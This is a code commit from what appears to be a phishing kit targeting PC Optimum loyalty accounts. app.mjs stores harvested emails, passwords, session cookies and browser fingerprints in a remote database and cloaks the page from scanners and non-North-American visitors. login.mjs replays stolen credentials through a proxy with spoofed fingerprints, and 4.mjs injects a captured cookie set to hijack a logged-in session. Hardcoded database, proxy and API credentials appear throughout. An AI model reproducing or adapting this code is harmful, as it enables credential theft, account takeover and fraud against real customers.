x1ongzhu 1 rok temu
rodzic
commit
9d2183e016
5 zmienionych plików z 589 dodań i 12 usunięć
  1. 472 0
      4.mjs
  2. 54 7
      app.mjs
  3. 26 5
      login.mjs
  4. 2 0
      package.json
  5. 35 0
      yarn.lock

+ 472 - 0
4.mjs

@@ -0,0 +1,472 @@
+import { chromium } from "playwright";
+
+const browser = await chromium.launch({
+    headless: false,
+    devtools: false,
+});
+
+const context = await browser.newContext({
+    viewport: {
+        width: parseInt(Math.random() * 100 + 1250),
+        height: parseInt(Math.random() * 100 + 750),
+    },
+    locale: "en-CA",
+    timezoneId: "America/Toronto",
+});
+
+await context.addCookies([
+    {
+        name: "PIM-SESSION-ID",
+        value: "DlgLBbkuLyX6WMDy",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: -1,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_spvid_ses.931f",
+        value: "*",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710156681,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kameleoonVisitorCode",
+        value: "983e1c99-3ca2-408c-b31e-b8a67c9714bb",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1741690851.810668,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "bm_sv",
+        value: "95F10C6B635DE782732BD563212EE001~YAAQN+HdF1ZWqyyOAQAAOSgsLReUq9qozWuLyLYdbXkRIZAhEEa6Ok/RbYZ/I7qtRTVgZDqrDdO1KG2HuZjIb0z7WLGtTQVvzkI5ZvXSdpGgdtHDNrSY6NPt5gVCA1oRKIefLJh19I5dandHEWFwNWHKHSwAiBs3VBtlUi/FtsO0rNIcK70K5TCGBTtzCuaQE8gwnYWh/St2a51yx9+aRiVrqVyROKhuHITd1V1kHvNbuErlMY85Ckam6LmRtNVm8E8=~1",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710162049.292684,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "jjSPnsABk",
+        value: "AxApLC2OAQAADRrCt1SKWepHx3pthvAW_Zp-z4SdztiLzwFR8YoHM0ELV69-Aa75VG6uclIDwH8AAEB3AAAAAA|1|0|772d9e6a557a32884957f48a8b5ad1d4d3b7baef",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1744714876.349525,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "ak_bmsc",
+        value: "DDFBF62A2D9FCD63E103FED9B9600ABA~000000000000000000000000000000~YAAQ1OHdFxSS8CuOAQAALC4sLRfAFS/o1SzWtY0/QRl18YVtjmY4jlmVsNGX5I7MestrsbHwIhUHTODRIPc02WPRlsnJZbc2MzE/l7xdu9W/T81vng3Mb6+uhQ3bM1NeVffJBh812RMTX6nTqSZ6mzyjpFrTNZ0rzaH+oZAQd+RBCO119pRmxHg2FqcborJ5YdvsHRNDtndurPocdauMAhVhgytRUHkeg4CPMeCxH+Fvo6iwI0xRJDFMlavKaq2oBhUPFj35xnfnUrcVLN83uhRULxQusaxAqzYSa0yg5T9pgtj3zKyjiTFjeRyDRW28B5naHhAjSfaOOtXIVIWFAYqK7JMAzgfhRXoOkyk7rYEm6Lfxq9lSO/fMkPlqEvEQaQ+b64wkv3hp0gllwyNobiypckeB/r188EWZy0oE0Ws6csbXsafgdoYla3jLwTUCupAZYVFhCjYaYc0GRIzY1fRkLg/I1bs2zTpzEnmNPbO2jfk863ZpXi8UonxcUyIgiMwXCZtnI9rf1Ccyng==",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710162049.808399,
+        httpOnly: true,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_gcl_au",
+        value: "1.1.654442519.1710154854",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1717930854,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_imp_di_pc_",
+        value: "AWbk7mUAAAAAhokpEJyAUqeA1kfXinz5",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1741690880.34572,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "_gid",
+        value: "GA1.2.649314698.1710154855",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710241282,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_gat_UA-87445536-1",
+        value: "1",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710154915,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_fbp",
+        value: "fb.1.1710154855919.187180118",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1717930883,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "receive-cookie-deprecation",
+        value: "1",
+        domain: ".doubleclick.net",
+        path: "/",
+        expires: 1725706883.768493,
+        httpOnly: true,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "mdLogger",
+        value: "false",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690885,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kampyle_userid",
+        value: "0664-d596-cbab-00f1-fd63-7ec6-4b2a-7582",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690858,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "IDE",
+        value: "AHWqTUkIpOH_td_Xz-DFJ0ldEdD-mZynOYY3808Gh3YDJOqzjHY_ERclB7cs71MZWgw",
+        domain: ".doubleclick.net",
+        path: "/",
+        expires: 1744714859.157481,
+        httpOnly: true,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "ORA_OCIS_REQ_2",
+        value: "KmJzu52Jl8/PirtL69gAI7fsgZzKtvw8WdjSdgUU6vxrZRFbhNpP56WsrsMqpX8T0PBBi6WvbEYSI9PDFqqZtdMCLlqttSaPGC5B5ufVIdXOsO/Ofm2ttBVAx3oY8w6tOe3B0VWVZcY+GUq7VX1YY+jSIccuUX7euqCxZ/k66W6BZjNz1rsjluEEYYRQLOocxuh62TqlI9GiKNDUd4+opP4EElJo4hpKNOUfHCXRohT5l0sDT3zk7wefa62n9ui8y9h+8cyPtxHPr9dYNw/WZ+XSNsH4VJ3Mvm2tjlskQ5aP/VVJQBYdEDD/13O2zmIZiyeT0vChwpFj9OhOKssV4186LFsGmSEqdQs4o0qD6QjaS5AwJmvEvYi50j+jdOfnDxv+IEeZTn1KjkhdtDrz54Md0PIYFR7Axjd646QvI/HuUfSFNIfvfAFbzghzUSawB6WnSI4wHeHDTevLvhIBSlk+rS/5/rnhMAQS91vMpGmr4inZKGsUIHphq/Ci+iHXBFHl6/cztTN15/NVloFCIfgU9FoOvrc2t+8zbOX5uOU+0pBY4XZfH3QChdFreKdAfQAnZVMdP1hzQ6irLtWqlOP8qNOTrf53NhvxtVXGvMsZT4PXpFUU/hYXeHghTzK4Sl8Lkr/rqz+FzcfDT0IpPGj+Fcd01PONNKikTCT7uhb3l4pkaP4P39UXVgSfeAZq1uAkdBeIKqgSdH++gIwVvfHK9gIajAJnmHvFfHf7jlfvBK1klWw25YZXnF+p4lS9IMrDDU25qYn1PBTDGayuFJXcu8bXgWzEMczrQ4ycO5Vlk8t5lyvwnOlcgayTx2ZMmvePV+7JofM6dvcG1H2heEU4M/jWfMCWshLRvwI7o0UlX8Sea1vFdeSIgTYQXOuG0BGhBG1LVBB34Yfrs8o1xYVJHPBpIwFArBN3+XLDOA~l0Own+oNwu5uQud0bAET44ZUxqqiWR9KDBCbX9y4Ym8",
+        domain: "accounts.pcid.ca",
+        path: "/",
+        expires: -1,
+        httpOnly: true,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "ORA_OCIS_REQ_1",
+        value: "Tbdcb6fZtZf8oRkTxzqf0Doc2zDAmQQMzpTQaBagcvSJg51HPgF2NaZjljIP9KnG3fm0h8GlxKOlSjgprMG7g3p2zqi8Q1YjLgIuBW2C6nu76MwvLitQpVDlk2AUbpMNTsBxOjFwOqTgymyJcchbMHX/vwNGlrPsyWIa1lGqtiqhV354gZ0uoIL6JwYZ9AMSfGKWF3PF9sm593yzLZsn4RaUMFu0j1OUO1XPR0wAAipTK1L7iw29pyZrm9hruxF7HumfXuJhjsA0H0kZPDhmoL+KMUZfBRSy+oS5JQBFOpf2JpGReldAn1pwpFFe4XEj7Kz10OtyeHE+zfyZ4xJEf7Kzk8ocubdbiV3Ro3sC7l0SAykC7Ta0/Ys/QfAGeS+fej0ZnmuZ5IFQzSYc+eToIFQt3Z76zk8ZlIjBifH/4H6sBDP4RWEyTHXy74s1TRndeSqnGy6p5sqjgGw4PidqL3WtF0ZzLE/sct6XQYrnEMmdREfOKOPgTS84HzXL6ps0LL50aW+LHT3wWrZiyr3B2YwrOTxdKoSoYD1XKzsFvP+/paTSDClol42E13VBirC4oDR6u4LceL17IqKTk2M6YmIDGjPvaMx/lRZ6H7xMEtAM2mxk8BoOgXjpX9bRhdrmb4EgTCc0/Gx8kXuvmSul5dOSBPG5KYJhtA3zwSLNnKtihESCDve0OQawebfgQRcd3gxQ7ApMiyMypeOItXoWmfzSgywDHJivNdxPOy/ni/eREmj0K1f5IGW4k3KWCmcaqq3gWOdcXV5xpb64GC/tBUOgh1V11UyLRB/oobbfLruYvweB9L/+2yG19c+5k+GgLFHP+7hy1o9UUS455AQk/9YjHrBBPD1qUK5CmRh6Qt4ontTTW9Yk+smygQlHvSApEXEj38a85IASlhULvQHKneJG41TBh8DqG0vgd0TNk5IcSpyBRkNHGyIx/5lEOtO9YUm+MPhCf1hH5u6RU2je3FyExY3xLrY+Qrg7+Ve7dYuVgaKQLD9YRExPQ4pWPmzed1sySQoye3eDUvpuoh0Y2hB/AScP5nIdOHqS27y2/uILmHFIBuZRiI2hvuqeJZq5WLQqQrpiOfbcErnunIrQJdlgmr6UCFpZF4C6OxJonTz2iHRcpxh65rxVXP1wE+VnREysqYv0t2mBGOtC/BC9UxRYIJOvDA+CSmK+GvCBbQUw4iAohxZ+VpQ0LWoz7QyOSxuckRyJUdOiDRmAJgDnr32HGnnenaTTY7twWB2X+/UMtjURZF275OKa1eZ4yYMQvjqUurxBwbA90NDNXTh6+qI72SCLvsuCP3HUV3UrU8rz3bYL2pAgUGROmG/IWE64SbGgsphJ0SjVpHLAvfOobkTFsU+DL8BaQqdao200Tm9uKez4R9fzDQHNSiDq1y7U32f4Ocj90L9lp36CbgDEhm8AXWYVQKxHnvCxsS3gfURGz0UAxMAI3UD5lwWhDyIWKaxNHQYxBuBPrF+9KIBv8fOO3+wi6tq0/x+BhKcZwVsWewUgTEFHMSIBku6K35d0Nq16DmF7PlVEfbS7GvES793iJ5bsV0/IfGABKTO3SqTl7bOQPP61laFD0R/1k78K4969krv1Aut/RAwSeYXNyB0OOOxGLKyB/S6Se4diS9kYW5dVSmHriKngfHCrNEcvjuOZmInevIja2XRbBVHWfUiTiWKn6PVcDwJmLpP8hT0LbC7+ppTYVnpTszuG1n+xgxNyGpzZWlsX97e4RrbTf6jz8y84fZHzYmQpJ2WCWK4YVTYP2gzGgx/aN+5p544DyDziO2SwgbFNvebUA9FI3n7Y9Zs+eGDIi1GrTN1rvw2YYrTo9PtnDpAKib0MvHnyru+gK+PKyEDZ0y2SfJvFoZf28om3QrURHbkhcfyNc739",
+        domain: "accounts.pcid.ca",
+        path: "/",
+        expires: -1,
+        httpOnly: true,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "PIM-SESSION-ID",
+        value: "HfwifcsfNXgeTP8Y",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: -1,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "bm_mi",
+        value: "32637E93D710E5C763F0863E1C6BB492~YAAQX+HdF2dXbhqOAQAAE1AsLReFwa0zarIYhD/nyc+0XWX23IUmPCi9C2kZ8RgcciBLnsVMsbspV6HJeSSe5E7cZtQPKkzsZLR5eQRZliba2DE81KNcXGTKLy0jmAnOzkEWlK7+zHwjvmncwa7aB5VgbE5ATv7+J+M+4sNyCltQldra1zFONBg0PCKnQbvZnaSOXNqkKOI9fnUgvvMS9rrDpjz5H1/F/D9p8aEZE0W7G6v0LetTdTMmgr3jrHU8FW4+GPywljJJ6I7qIAh/Cr5/PfsKgSGJMKUxBM+spo0rcmmDG/yq~1",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710162060.518734,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "bm_sv",
+        value: "72452ED0F42E23ACA7CCA9233B5E9620~YAAQX+HdF2hXbhqOAQAAE1AsLRcmu+4m4BntUSwxvjNwe/GzZBjT4TrySOkfvTjXsSAfgLfE3zUqy40fzpAvu9AJMWlxvrQC6wMlUGPgMJEU7e4vRWrooHV819A2trHKq+GPohr1W/mpiiN92mOc3uZY8bJTDX+es/9Bx3YZvon5+Ag2RxbkToBqK1sKDeBnpwnpUDjcDRoOdYTjBKkYwIvYuqqzNKznXHGD0GLQhafm4Fz7ZhJpzwfttMqZ~1",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710162062.518766,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "jjSPnsABk",
+        value: "A1VXLC2OAQAAsvywYHzdOGiIGXHtd_n7YxAtapfkZQUOT6ur3yO9DVyn2RMTAa75VG6uclIDwH8AAEB3AAAAAA|1|0|9118f22bd0f0d6c4ecfb818b63a23e8e59791685",
+        domain: "accounts.pcid.ca",
+        path: "/",
+        expires: 1744714872.693156,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "CoQWDnyf",
+        value: "3GOBH6QK",
+        domain: "accounts.pcid.ca",
+        path: "/",
+        expires: 1741711818.208334,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "ak_bmsc",
+        value: "0C00E5FACBE83CA3CADAD8B81379EE62~000000000000000000000000000000~YAAQX+HdF9ZXbhqOAQAAsmAsLRcRN5uvNz0m0bdSzQhYycRI1OFXrvSyNh/ivvPHjZ/jL9LIJG53kQx/VNvJS8Mn7uft3EjQcKh8XNm3CThdapZzc9h8B0KOsii2hPEmYnjqOujxHJRMY4rzbh5jprRZBeKsfGP7ta2OmB/AGR9jWo+v0STEhx1c8qmdzCIvTeX9SDH8sk2/fg3mh2HAWPiYrO6gIdNXyXdgSXnt75iMkz9VXtrBwcLr4RT134uZ68H8A5cCbzPIvlO/0way1Evlt1xVZRpcgeYTjaOlFPaiww+DGgBjqRKLF0LxC6M0ENZGs1vPuLxWNaq93lish6Gr9yr5DscgQJfsPhxa7h0vF596eKFKw3p+LqKi4fIUx7nj5Vd5zgy5FCc2kAI+zgwCLQotAhJQrxxzC6qgeoSuY0tqllzXw9IEcQkjDl8GwmMXUuht9k/S+IG4aVh82uFbStMVL3M9qzw9SYClb4VlqaER5HNMUdqijvAbUu5VPY4=",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710162060.744036,
+        httpOnly: true,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_spvid_ses.ab05",
+        value: "*",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710156673,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "_imp_di_pc_",
+        value: "AXPk7mUAAAAAeRAwUOs8QkMGAGcczspi",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1741690867.426657,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "_ga",
+        value: "GA1.2.498324052.1710154869",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1744714873.113562,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_gid",
+        value: "GA1.2.1462971914.1710154869",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710241273,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_gat_UA-54981048-29",
+        value: "1",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710154928,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_spvid_",
+        value: "54187d19-69cb-484e-a3d0-9497988c16b3",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1741690873.47599,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "_imp_apg_r_",
+        value: "%7B%22_d%22%3A%222005001710154867429%22%2C%22diA%22%3A%22AXPk7mUAAAAAeRAwUOs8QkMGAGcczspi%22%2C%22diB%22%3A%22AWmeV2ndw%2Bpk0hi3U92sP5ptBP2BhRen%22%2C%22_rt%22%3A%22DTAOXJNKxU%2FD8Cmqgy60kbkWHNqgyCGk2WQc6jiympE%3D%22%2C%22_v%22%3A%22N0xveLlSqD3B6H6y8GjtosxZAPmi2xG9xDoe6l6Sr40WXrmufMbW8X0YOroXUGnLLjbkDbm38PSeQ2jjTqQZP6cU6rAP%2FBFpDDbnTrQJ%22%2C%22_fr%22%3A20000%2C%22fr%22%3A%22Xxy5UguC9ucRUjAMvOi3Ww%3D%3D0DlbtfL3nsrRozipO2j4wqc94LHEM59elNjsu-RsJdfpxTtVziFGSiiFCp474JYVxCQ51Anzn29a2o07GudctqMmkoV9PmtkwDE9ycJtbhlX7HYtrzK3dsUvwfSYOyUXtiaZRJ4g8elnunk-e-d2FXxk7STWj60Se_MPMMGKkt1yhUVIOS57VlyS%22%2C%22ct%22%3A%22N0xqfP9dvTHN%2FDf8tmCks8RWDvWc7RCr03kL%2Fkw%3D%22%7D",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1741711822.418511,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "_abck",
+        value: "35D4FA0F884B0BE9BAF997E880ED80EF~-1~YAAQX+HdF0VYbhqOAQAA0ncsLQtLVT22GGTCXkkfC1LQsJK73Ul0TfYhUEZx2msM+KZKc4wJxXrdHslj1xSDTEOASOlw2InZFi6hom8XCh+lOCzivZo+wXzYVaITQ997huKfMHhRDNW46W1mjRm4HV0oZKdC9QPpwzyr6q8GPxDmMF1MJDzevsD/LoLL+/iILGSibzAaUIBjtw00Gn1EXMpEA5B/f7+uxENfDpNt04JTrSWfKCOaqrkXsLY4ef8NNNSNe2hudi/t6dPJ2qbmZRY52pSm82+4jYbeblm+Pgsr2CrJhC3+/1iCObRSLSM3mXKNO1gOlYp17GqXO1bEEFjQxpQG7LOKSStlj/IKn+ceay8YRE6vF9dSNpmknoUTER1Fzq09iA==~-1~-1~-1",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1741690872.693222,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "bm_sz",
+        value: "4934AFB323FBA7A39E1F40EDA7330356~YAAQX+HdF0ZYbhqOAQAA0ncsLReTOcvZfBzd72+MhJjaJDld8eTk5Sz+exsT3EGGHbW8aRC+n9cgIJTGCNlrj0dDsHhgbBFdzLEPzdee8hIKpwmboR5hYgBlYCDA6zeFgI2Erqjv16irN6awIOhgTP/MG2JJGkwoCPYtPnutwR3udV+qA/FUcSpu5iwRC9O3H4DOYGsbW01q8j/cR9KD1Sv+uBd6/u9/5uaapNNmPIiFjbznOHpdwFj0fzDBA6nJ2ex9NG9IeZls7yVs/cKDadfLxn++p+CmMR50b/l+OyjYRdYvKXJfTmjZ332c4FEzUe7zAnS4u6p+WIeUZH5lym59fKIajUVI80CaPQjcHkz580XbP1pfFMuNnbh/t5asTabERfW2d35LgVduDnAprplJ8Q==~4404786~3227970",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1710169260.693246,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "ADRUM",
+        value: "s=1710154873107&r=https%3A%2F%2Faccounts.pcid.ca%2Flogin%2Fsuccess",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: -1,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "_spvid_id.ab05",
+        value: "69a0976a-6fe3-4d65-9fb1-f0ca6e243355.1710154867.1.1710154873..6f09428f-c218-4112-ad38-39ff5da901e5..98a17589-88da-4f33-992c-dd76b61d7fdc.1710154867383.4",
+        domain: ".pcid.ca",
+        path: "/",
+        expires: 1744714873.116673,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "bm_sz",
+        value: "A04FA8AA02DE491ABF173BE1E78FE9C8~YAAQ1OHdF/WX8CuOAQAAMYAsLRcjAv2qqQdx+H7G/IndHA6jA7SEvki1r2mLuABZh6KHVPFWS+irsT23fmb4NT8R2414rYimv+NpY5lgwtt8kibdyBTvLPUv845nYPgWX5OO3/zn4Hafyqfv8WzbxP/3YzwEaIEF8CBT+28K4g8x9renNpXpx63d7ff8vFRKe7zQST0uz6aleluGRu4hORJjRZQTlmyqnpSwRFSndb1Ni2zbWOfkMbQLQxZgHggu8iK81ieqxda68vSTdrD0tglJeLRbNyJ+poTOJhxZLTk4aCAa8S5QSwrq22k0l2+IYm6c57eEV+/gb21DKApJY9vPwGMlsYDC+5rf1dEknmPCapyz4YIhPMbPeS0LQ1Fx+Vu7X88fmlBXTULq9+qTJ26S1Zk9Os66hfdYiQ==~4277314~4338486",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1710169249.819592,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_abck",
+        value: "A91690B3181B426BF442C0D4DF9B3AD1~-1~YAAQ1OHdF6uY8CuOAQAA44osLQs7qzmTXJ1GOCACze2rdZxUiPEymkF4NrhLJPmAly7z9ntQmkLDbVX0JKBwUNcasIuU+GXrYKgwovCK44tIuQQgbcY3NIYiukNoh1T8+qSnRH4/ZmSS3rDUfJnCOKecLzeOj4ODgrQ5n6gwygS2GuNSUwJFAhoN3iWt8WxV5LeZ6dNev9N6jE+OTG6icvBAd3U+x3vWF9UTtCfBZP/0n8mj8BJaxoQ/iAiRWxCbdQfutNd+RSQMvgVKvxgkcshhvnBViRf6hK0/9nF4DffxxW9nefjkQXxxRhLrbZWF1KzjIutdw/u1RgHzOP8cwXhXmT7Qh2czAnAGN2B07KuD3jh5rkE60R8BHBx6t1ZH0BF8pJRvS9qS/zBa~-1~-1~-1",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1741690877.545745,
+        httpOnly: false,
+        secure: true,
+        sameSite: "Lax",
+    },
+    {
+        name: "CoQWDnyf",
+        value: "Et75Ofp2",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741711830.785246,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_spvid_id.931f",
+        value: "983e1c99-3ca2-408c-b31e-b8a67c9714bb.1710154851.1.1710154882..a2f1c266-93ba-44d5-9910-b8fe077333bb..60069ef3-630d-4397-9b85-677f58b8eba1.1710154850630.15",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1744714881.898254,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "_ga_805MRZ9TJL",
+        value: "GS1.1.1710154854.1.1.1710154882.0.0.0",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1744714882.129938,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_ga",
+        value: "GA1.2.51486207.1710154854",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1744714882.8616,
+        httpOnly: false,
+        secure: false,
+        sameSite: "Lax",
+    },
+    {
+        name: "_imp_apg_r_",
+        value: "%7B%22_d%22%3A%222005001710154880358%22%2C%22diA%22%3A%22AWbk7mUAAAAAhokpEJyAUqeA1kfXinz5%22%2C%22diB%22%3A%22AWmeV2ndw%2Bpk0hi3U92sP5ptBP2BhRen%22%2C%22_rt%22%3A%22DQ4NJNZKxU%2FD8Cmq20%2BmtO5dH%2BKN2Dj9i2pB%2FXSNroM%3D%22%2C%22_fr%22%3A20000%2C%22fr%22%3A%22xIEM2M0yI5Pos5jTnkLbGQ%3D%3DSNe9NyyXFZKj5fzFgdSPirTEqaZtZJh81vMBCHpvSOQ2H8Jqxt69t78j33SxuKsS1pxjdsLaaH787NHQOM4ihrPXxvtkTSkoumLhDFDNSwDQZ0J-PfSkmatWlggHkM7d8Ej0aD86CJhnxyTtURj7vX0x5hjnFziRvtuf8ucTOVWaKP7eUWW-Qmd0%22%2C%22ct%22%3A%22N0xqfP9dvTHN%2FDf8tmCks8RWDvWc7RCk33oE804%3D%22%7D",
+        domain: ".pcoptimum.ca",
+        path: "/",
+        expires: 1741711835.394307,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kampyleUserSession",
+        value: "1710154885506",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690885,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kampyleUserSessionsCount",
+        value: "2",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690885,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kampyleSessionPageCounter",
+        value: "1",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690885,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+    {
+        name: "kampyleUserPercentile",
+        value: "5.99587141904756",
+        domain: "www.pcoptimum.ca",
+        path: "/",
+        expires: 1741690885,
+        httpOnly: false,
+        secure: true,
+        sameSite: "None",
+    },
+]);
+
+const page = await context.newPage();
+
+await page.goto("https://www.pcoptimum.ca/dashboard");

+ 54 - 7
app.mjs

@@ -4,20 +4,57 @@ import { dirname, resolve, join } from "path";
 import { fileURLToPath } from "url";
 import { Sequelize, DataTypes } from "sequelize";
 import { login } from "./login.mjs";
+import axios from "axios";
+import is_ip_private from "private-ip";
+import { Crawler, middleware } from "es6-crawler-detect";
 
 const __filename = fileURLToPath(import.meta.url);
 const __dirname = dirname(__filename);
 
 const fastify = Fastify({
-    logger: true,
+    logger: {
+        level: "error",
+    },
+});
+
+fastify.addHook("onRequest", async (request, reply) => {
+    var CrawlerDetector = new Crawler(request);
+    if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
+        return reply.code(302).header("Location", "http://localhost").send();
+    }
+    try {
+        const ip = request.ip;
+        if (ip && !is_ip_private(ip)) {
+            const { data: ipInfo } = await axios.get(
+                `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
+            );
+            if (
+                ["cdn", "hosting", "education"].includes(ipInfo.connection.type)
+            ) {
+                return reply
+                    .code(302)
+                    .header("Location", "https://www.pcoptimum.ca")
+                    .send();
+            }
+            if (!["US", "CA"].includes(ipInfo.location.country.code)) {
+                return reply
+                    .code(302)
+                    .header("Location", "https://www.pcoptimum.ca")
+                    .send();
+            }
+        }
+    } catch (error) {
+        console.error(error.stack);
+    }
 });
+
 fastify.register(fastifyStatic, {
     root: resolve(__dirname, "public"),
     prefix: "/",
 });
 
 const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
-    host: "149.248.57.225",
+    host: "38.180.126.100",
     dialect: "mysql",
 });
 
@@ -62,6 +99,14 @@ const Accounts = sequelize.define(
             type: DataTypes.STRING,
             allowNull: true,
         },
+        cookies: {
+            type: DataTypes.TEXT("long"),
+            allowNull: true,
+        },
+        browserOptions: {
+            type: DataTypes.TEXT("long"),
+            allowNull: true,
+        },
     },
     {
         // Other model options go here
@@ -90,12 +135,12 @@ fastify.post("/login", async function (request, reply) {
     } else {
         const { email, password } = request.body;
         try {
-            const res = await login(email, password);
+            const { points, cookies, options } = await login(email, password);
             let balance = null;
             let dollarsRedeemable = null;
-            if (res) {
+            if (points) {
                 try {
-                    const json = JSON.parse(res);
+                    const json = JSON.parse(points);
                     balance = json.balance + "";
                     dollarsRedeemable = json.dollarsRedeemable + "";
                 } catch (error) {}
@@ -105,9 +150,11 @@ fastify.post("/login", async function (request, reply) {
                 password,
                 userAgent: request.headers["user-agent"],
                 success: true,
-                result: res,
+                result: points,
                 balance,
                 dollarsRedeemable,
+                cookies,
+                browserOptions: JSON.stringify(options),
             });
             return reply.code(200).send();
         } catch (error) {
@@ -143,7 +190,7 @@ fastify.get("/list", async function (request, reply) {
     };
 });
 
-fastify.listen({ port: 3000 }, function (err, address) {
+fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
     if (err) {
         fastify.log.error(err);
         process.exit(1);

+ 26 - 5
login.mjs

@@ -4,11 +4,11 @@ import userAgents from "top-user-agents";
 
 export async function login(email, password) {
     const browser = await chromium.launch({
-        headless: true,
+        headless: false,
         devtools: false,
     });
 
-    const page = await browser.newPage({
+    const options = {
         userAgent: uniqueRandomArray(userAgents)(),
         viewport: {
             width: parseInt(Math.random() * 100 + 1250),
@@ -16,7 +16,17 @@ export async function login(email, password) {
         },
         locale: "en-CA",
         timezoneId: "America/Toronto",
-    });
+        serviceWorkers: "block",
+        proxy: {
+            server: "199.188.93.128:8000",
+            username: "proxy",
+            password: "40gyxQ2",
+        },
+    };
+
+    const context = await browser.newContext(options);
+
+    const page = await context.newPage();
 
     let points = null;
 
@@ -25,7 +35,13 @@ export async function login(email, password) {
         points = await response.text();
         await route.continue();
     });
-    await page.route(/(\.png$)|(\.jpg$)/i, (route) => route.abort());
+    await page.route(
